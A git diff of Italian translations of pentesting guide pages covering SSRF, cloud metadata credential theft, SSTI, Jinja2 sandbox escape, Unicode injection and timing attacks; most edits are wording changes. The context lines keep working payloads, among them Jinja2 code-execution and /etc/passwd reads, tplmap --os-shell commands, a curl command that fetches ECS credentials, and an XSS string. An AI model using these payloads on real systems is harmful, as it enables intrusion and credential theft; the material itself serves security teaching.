 

src/pentesting-web/ssrf-server-side-request-forgery/README.md

@@ -44,7 +44,7 @@ Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigg
 - **TFTP://**
 - Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Una richiesta TFTP viene effettuata a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
 - **LDAP://**
-- Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere ai servizi di informazioni directory distribuite su reti IP. Interagisci con un server LDAP su localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
+- Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere a servizi di informazioni directory distribuite su reti IP. Interagisci con un server LDAP su localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
 - Viene descritto un metodo per sfruttare le vulnerabilità SSRF per interagire con i servizi SMTP su localhost, inclusi i passaggi per rivelare nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
 ```
@@ -121,7 +121,7 @@ ssl_preread on;
 }
 }
 ```
-In questa configurazione, il valore del campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questa configurazione espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata semplicemente specificando l'indirizzo IP o il nome di dominio desiderato nel campo SNI. Un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come `internal.host.com`, utilizzando il comando `openssl` è fornito di seguito:
+In questa configurazione, il valore del campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questa impostazione espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata semplicemente specificando l'indirizzo IP o il nome di dominio desiderato nel campo SNI. Un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come `internal.host.com`, utilizzando il comando `openssl` è fornito di seguito:
 ```bash
 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 ```
@@ -141,7 +141,7 @@ Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle s
 
 ## Funzioni PHP SSRF
 
-Controlla la seguente pagina per funzioni PHP vulnerabili e persino funzioni Wordpress:
+Controlla la seguente pagina per funzioni PHP vulnerabili e persino funzioni di Wordpress:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
@@ -259,7 +259,7 @@ Se hai **problemi** a **estrarre contenuti da un IP locale** a causa di **CORS/S
 ../cors-bypass.md
 {{#endref}}
 
-### Automated DNS Rebidding
+### DNS Rebidding Automatizzato
 
 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) è uno strumento per eseguire attacchi di [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Include i componenti necessari per riassociare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target.
 
@@ -290,7 +290,7 @@ Per **maggiori informazioni** dai un'occhiata alla conferenza in cui viene spieg
 
 La differenza tra un blind SSRF e uno non blind è che nel blind non puoi vedere la risposta della richiesta SSRF. Quindi, è più difficile sfruttare perché sarai in grado di sfruttare solo vulnerabilità ben note.
 
-### Time based SSRF
+### SSRF basato sul tempo
 
 **Controllando il tempo** delle risposte dal server potrebbe essere **possibile sapere se una risorsa esiste o meno** (forse ci vuole più tempo ad accedere a una risorsa esistente rispetto ad accedere a una che non esiste)
 
@@ -302,7 +302,7 @@ Se trovi una vulnerabilità SSRF in una macchina che gira all'interno di un ambi
 cloud-ssrf.md
 {{#endref}}
 
-## SSRF Vulnerable Platforms
+## Piattaforme Vulnerabili a SSRF
 
 Diverse piattaforme note contengono o hanno contenuto vulnerabilità SSRF, controllale in:
 
@@ -310,7 +310,7 @@ Diverse piattaforme note contengono o hanno contenuto vulnerabilità SSRF, contr
 ssrf-vulnerable-platforms.md
 {{#endref}}
 
-## Tools
+## Strumenti
 
 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
 
@@ -318,7 +318,7 @@ Strumento per rilevare e sfruttare vulnerabilità SSRF
 
 ### [Gopherus](https://github.com/tarunkant/Gopherus)
 
-- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
+- [Blog post su Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
 
 Questo strumento genera payload Gopher per:
 
@@ -331,7 +331,7 @@ Questo strumento genera payload Gopher per:
 
 ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 
-- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
+- [Blog post sull'uso di SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
 
 _remote-method-guesser_ è uno scanner di vulnerabilità _Java RMI_ che supporta operazioni di attacco per la maggior parte delle comuni vulnerabilità _Java RMI_. La maggior parte delle operazioni disponibili supporta l'opzione `--ssrf`, per generare un payload _SSRF_ per l'operazione richiesta. Insieme all'opzione `--gopher`, possono essere generati direttamente payload _gopher_ pronti all'uso.
 
@@ -339,11 +339,11 @@ _remote-method-guesser_ è uno scanner di vulnerabilità _Java RMI_ che supporta
 
 SSRF Proxy è un server proxy HTTP multi-thread progettato per tunnelare il traffico HTTP del client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF).
 
-### To practice
+### Per praticare
 
 {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
 
-## References
+## Riferimenti
 
 - [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -94,10 +94,10 @@ Nota il **aws_session_token**, questo è indispensabile per il funzionamento del
 
 ### SSRF in AWS ECS (Container Service) credenziali
 
-**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce tutto per te. Se riesci a compromettere il servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
+**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere il servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
 
 Se accedi a _**http://169.254.170.2/v2/credentials/\<GUID>**_ troverai le credenziali della macchina ECS. Ma prima devi **trovare il \<GUID>**. Per trovare il \<GUID> devi leggere la variabile **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** all'interno della macchina.\
-Potresti essere in grado di leggerla sfruttando un **Path Traversal** a `file:///proc/self/environ`\
+Potresti essere in grado di leggerlo sfruttando un **Path Traversal** a `file:///proc/self/environ`\
 L'indirizzo http menzionato dovrebbe darti la **AccessKey, SecretKey e token**.
 ```bash
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@@ -323,7 +323,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
 - Non deve **contenere** un'intestazione `X-Forwarded-For`
 
 > [!TIP]
-> Una VM Azure può avere 1 identità gestita di sistema e diverse identità gestite dagli utenti. Questo significa fondamentalmente che puoi **impersonare tutte le identità gestite collegate a una VM**.
+> Una VM Azure può avere 1 identità gestita di sistema e diverse identità gestite dall'utente. Questo significa fondamentalmente che puoi **impersonare tutte le identità gestite collegate a una VM**.
 >
 > Per **default**, l'endpoint dei metadati utilizzerà il **MI assegnato al sistema (se presente)**.
 >
@@ -418,7 +418,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
 
 Dall'**env** puoi ottenere i valori di **`IDENTITY_HEADER`** e **`IDENTITY_ENDPOINT`**. Che puoi usare per raccogliere un token per comunicare con il server dei metadati.
 
-La maggior parte delle volte, desideri un token per una di queste risorse:
+Nella maggior parte dei casi, desideri un token per una di queste risorse:
 
 - [https://storage.azure.com](https://storage.azure.com/)
 - [https://vault.azure.net](https://vault.azure.net/)

src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

@@ -164,7 +164,7 @@ Dai un'occhiata al [**URL validation bypass cheat sheet** webapp](https://portsw
 ### Bypass via redirect
 
 Potrebbe essere possibile che il server stia **filtrando la richiesta originale** di un SSRF **ma non** una possibile **risposta di redirect** a quella richiesta.\
-Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) al luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\
+Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) verso il luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\
 [Controlla questo report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
 ```python
 #!/usr/bin/env python3

src/pentesting-web/ssti-server-side-template-injection/README.md

@@ -19,20 +19,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
 ```
 Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
 
-Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
+Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
 
 ### Rilevamento
 
-Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
+Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
 
 - Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
 - Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
 - **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`).
-- **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
+- **Contesto del codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
 
 #### Fase di identificazione
 
-Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
+Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
 
 #### Identificazione tramite payload
 
@@ -61,13 +61,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
 ```
-### [Tabella di Iniezione dei Template](https://github.com/Hackmanit/template-injection-table)
+### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
 
-una tabella interattiva contenente i polyglot di iniezione dei template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
+una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
 
-## Sfruttamenti
+## Exploits
 
-### Generico
+### Generic
 
 In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
 
@@ -76,7 +76,7 @@ In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alc
 
 ### Java
 
-**Java - Iniezione di base**
+**Java - Basic injection**
 ```java
 ${7*7}
 ${{7*7}}
@@ -156,7 +156,7 @@ $out.read()
 
 ### Thymeleaf
 
-In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
+In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziale esecuzione di codice remoto, possono essere utilizzate espressioni come le seguenti:
 
 - SpringEL:
 
@@ -238,7 +238,7 @@ count += 1
 
 print(base_payload + end_payload)
 ```
-**Ulteriori informazioni**
+**Ulteriori Informazioni**
 
 - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
 - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
@@ -614,7 +614,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 
 ### patTemplate (PHP)
 
-> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per suddividere un documento in diverse parti
+> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
 ```xml
 <patTemplate:tmpl name="page">
 This is the main page.
@@ -632,7 +632,7 @@ Hello {NAME}.<br/>
 
 ### Handlebars (NodeJS)
 
-Path Traversal (ulteriori informazioni [qui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
+Path Traversal (maggiori informazioni [qui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
 ```bash
 curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
 ```
@@ -665,11 +665,13 @@ URLencoded:
 ```
 **Ulteriori informazioni**
 
+- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
+
 ### JsRender (NodeJS)
 
 | **Template** | **Descrizione**                         |
 | ------------ | --------------------------------------- |
-|              | Valuta e rende l'output                |
+|              | Valuta e rende l'output                 |
 |              | Valuta e rende l'output HTML codificato |
 |              | Commento                                |
 | e            | Consenti codice (disabilitato per impostazione predefinita) |
@@ -813,9 +815,9 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
 
 ### Jinja2 (Python)
 
-[Official website](http://jinja.pocoo.org)
+[Sito ufficiale](http://jinja.pocoo.org)
 
-> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
+> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
 
 - `{{7*7}} = Errore`
 - `${7*7} = ${7*7}`
@@ -888,7 +890,7 @@ ${x}
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
 
-### Altro Python
+### Altri Python
 
 <figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
 
@@ -944,14 +946,14 @@ Anche se è Perl, utilizza tag come ERB in Ruby.
 Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
 
 - `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
-- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
+- `{{printf "%s" "ssti" }}`: Si prevede che visualizzi la stringa "ssti".
 - `{{html "ssti"}}`, `{{js "ssti"}}`: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go [qui](https://golang.org/pkg/text/template).
 
 <figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
 
 **XSS Exploitation**
 
-Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
+Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
 
 vbnet Copy code
 
@@ -975,7 +977,7 @@ return string(out)
 
 Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
 
-## PDF BlackHat
+## BlackHat PDF
 
 {% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
 

src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

@@ -18,7 +18,7 @@ Il Linguaggio di Espressione (EL) è fondamentale in JavaEE per collegare il liv
 L'EL è presente nelle tecnologie JavaEE, in ambienti standalone, e riconoscibile attraverso le estensioni di file `.jsp` o `.jsf`, errori di stack e termini come "Servlet" negli header. Tuttavia, le sue funzionalità e l'uso di determinati caratteri possono dipendere dalla versione.
 
 > [!NOTE]
-> A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** possono essere **non consentiti**.
+> A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** potrebbero essere **non consentiti**.
 
 ## Esempio di Base
 
@@ -185,7 +185,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
 ### Ispezionare l'ambiente
 
 - `applicationScope` - variabili globali dell'applicazione
-- `requestScope` - variabili della richiesta
+- `requestScope` - variabili di richiesta
 - `initParam` - variabili di inizializzazione dell'applicazione
 - `sessionScope` - variabili di sessione
 - `param.X` - valore del parametro dove X è il nome di un parametro http

src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

@@ -78,7 +78,7 @@ request
 
 Poi, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxed**.
 
-Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e poi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** chiamiamo **`__subclasses__()`**.
+Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e poi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto**, **chiamiamo** **`__subclasses__()`**.
 
 Controlla questi esempi:
 ```python
@@ -130,7 +130,7 @@ dict.__mro__[-1]
 
 La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centinaia di nuove funzioni**, saremo felici semplicemente accedendo alla **classe file** per **leggere/scrivere file** o a qualsiasi classe con accesso a una classe che **consente di eseguire comandi** (come `os`).
 
-**Leggi/Scrivi file remoto**
+**Read/Write remote file**
 ```python
 # ''.__class__.__mro__[1].__subclasses__()[40] = File class
 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
@@ -159,7 +159,7 @@ La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centina
 {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
 
 ```
-Per saperne di più su **ulteriori classi** che puoi utilizzare per **sfuggire** puoi **controllare**:
+Per saperne di più su **ulteriori classi** che puoi utilizzare per **evadere**, puoi **controllare**:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -247,7 +247,7 @@ Senza **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 ```
 ## Jinja Injection senza **\<class 'object'>**
 
-Dai [**global objects**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza usare quella classe.**\
+Dai [**global objects**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza utilizzare quella classe.**\
 Se riesci ad accedere a qualsiasi **funzione** da quegli oggetti globali, sarai in grado di accedere a **`__globals__.__builtins__`** e da lì l'**RCE** è molto **semplice**.
 
 Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e qualsiasi **altro** interessante **oggetto globale** a cui hai accesso con:

src/pentesting-web/timing-attacks.md

@@ -9,8 +9,8 @@
 
 L'obiettivo di base di un attacco temporale è fondamentalmente quello di poter rispondere a domande complicate o rilevare funzionalità nascoste semplicemente **controllando le differenze di tempo nelle risposte a richieste simili**.
 
-Tradizionalmente, questo è stato molto complicato a causa della latenza e del jitter introdotti sia dalla rete che dal server. Tuttavia, dalla scoperta e dal miglioramento dell' [**attacco Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), è possibile utilizzare questa tecnica per rimuovere tutti i ritardi di rete dal'equazione.\
+Tradizionalmente, questo è stato molto complicato a causa della latenza e del jitter introdotti sia dalla rete che dal server. Tuttavia, dalla scoperta e dal miglioramento dell' [**attacco Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), è possibile utilizzare questa tecnica per rimuovere tutti i ritardi di rete dal calcolo.\
-Lasciando solo i **ritardi del server**, gli attacchi temporali diventano più facili da scoprire e abusare.
+Lasciando solo i **ritardi del server**, gli attacchi temporali diventano più facili da scoprire e sfruttare.
 
 ## Discoveries
 
@@ -30,7 +30,7 @@ Una volta scoperto un proxy aperto scoperte, è stato possibile trovare obiettiv
 
 - **Evitare i firewall** accedendo a sottodomini riservati tramite il **proxy aperto** invece che attraverso internet
 - Inoltre, abusando di un **proxy aperto** è anche possibile **scoprire nuovi sottodomini accessibili solo internamente.**
-- **Attacchi di impersonificazione Front-End**: I server front-end normalmente aggiungono intestazioni per il backend come `X-Forwarded-For` o `X-Real-IP`. I proxy aperti che ricevono queste intestazioni le aggiungeranno all'endpoint richiesto, quindi, un attaccante potrebbe essere in grado di accedere a ancora più domini interni aggiungendo queste intestazioni a valori autorizzati.
+- **Attacchi di impersonificazione Front-End**: I server front-end normalmente aggiungono intestazioni per il backend come `X-Forwarded-For` o `X-Real-IP`. I proxy aperti che ricevono queste intestazioni le aggiungeranno all'endpoint richiesto, quindi, un attaccante potrebbe essere in grado di accedere a ancora più domini interni aggiungendo queste intestazioni con valori autorizzati.
 
 ## References
 

src/pentesting-web/unicode-injection/README.md

@@ -29,7 +29,7 @@ Questa vulnerabilità proviene effettivamente da una vulnerabilità trovata da u
 
 I back-end si comportano in modo strano quando **ricevono emoji**. Questo è ciò che è successo in [**questo writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) dove il ricercatore è riuscito a ottenere un XSS con un payload come: `💋img src=x onerror=alert(document.domain)//💛`
 
-In questo caso, l'errore era che il server, dopo aver rimosso i caratteri dannosi, **ha convertito la stringa UTF-8 da Windows-1252 a UTF-8** (fondamentalmente l'encoding dell'input e la conversione dall'encoding non corrispondevano). Quindi questo non dà un < corretto, solo uno unicode strano: `‹`\
+In questo caso, l'errore è stato che il server, dopo aver rimosso i caratteri dannosi, **ha convertito la stringa UTF-8 da Windows-1252 a UTF-8** (fondamentalmente l'encoding dell'input e la conversione dall'encoding non corrispondevano). Quindi questo non dà un < corretto, solo uno unicode strano: `‹`\
 ``Quindi hanno preso questo output e **convertito di nuovo ora da UTF-8 a ASCII**. Questo **ha normalizzato** il `‹` in `<`, ecco come l'exploit potrebbe funzionare su quel sistema.\
 Questo è ciò che è successo:
 ```php

src/pentesting-web/unicode-injection/unicode-normalization.md

@@ -1,4 +1,4 @@
-# Unicode Normalization
+# Normalizzazione Unicode
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## Comprendere Unicode e Normalizzazione
 
-La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie dei caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
+La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
 
 1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati.
 2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso.
@@ -79,7 +79,7 @@ Quindi, un utente malintenzionato potrebbe inserire un carattere Unicode diverso
 
 ### XSS (Cross Site Scripting)
 
-Puoi usare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS:
+Puoi utilizzare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS:
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
 
@@ -89,7 +89,7 @@ Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato co
 
 ### Fuzzing Regexes
 
-Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe **normalizzare l'URL inviato** ma poi **accedervi così com'è**.
+Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe essere **normalizzando l'URL inviato** ma poi **accedendovi così com'è**.
 
 Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).
 

src/pentesting-web/uuid-insecurities.md

@@ -18,12 +18,12 @@ Gli UUID sono progettati per essere unici e **difficili da indovinare**. Sono st
 > 12345678 - abcd - 1a56 - a539 - 103755193864\
 > xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
 >
-> - La **posizione di M** indica la **versione** dell'UUID. Nell'esempio sopra, è UUID v**1**.
+> - La **posizione della M** indica la **versione** dell'UUID. Nell'esempio sopra, è UUID v**1**.
-> - La **posizione di N** indica la variante dell'UUID.
